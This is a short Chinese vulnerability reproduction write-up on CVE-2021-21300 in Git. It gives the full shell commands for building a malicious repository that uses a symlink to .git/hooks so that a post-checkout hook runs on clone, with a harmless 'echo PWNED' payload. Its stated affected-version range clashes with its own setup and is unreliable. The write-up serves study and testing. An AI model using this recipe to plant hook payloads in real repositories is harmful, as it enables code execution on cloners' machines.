作者:Th1nk@Timeline Sec
本文字数:613
阅读时长:2~3min
声明:仅供学习参考使用,请勿用作违法用途,否则后果自负
0x01 简介
Git 是一个开源的分布式版本控制系统。是 Linus Torvalds 开发的一个开放源码的版本控制软件,采用了分布式版本库的方式,可以有效、高速地处理从很小到非常大的项目。
0x02 漏洞概述
编号:CVE-2021-21300
受影响版本的Git仓库中如果包含符号链接文件,可能会导致在不区分大小写的文件系统克隆时执行刚刚切换分支的脚本。攻击者利用此漏洞可以执行任意代码。
0x03 影响版本
Git < 2.14.6
0x04 环境搭建
1、Windows安装Git-2.17.1-64-bit
https://www.npackd.org/p/git64/2.17.1.2
2、在ubuntu构建恶意仓库并上传到github(执行的命令在第三行命令里)
git init delayed-checkout
cd delayed-checkout
echo "A/post-checkout filter=lfs diff=lfs merge=lfs">.gitattributes && mkdir A && printf '#!/bin/sh\n\necho PWNED >&2\n'>A/post-checkout && chmod +x A/post-checkout && >A/a && >A/b && git add -A && rm -rf A && ln -s .git/hooks a && git add a && git commit -m initial
git branch -M main
git remote add origin [自己的仓库地址]
git push -u origin main
查看github仓库
校验各文件内容是否正确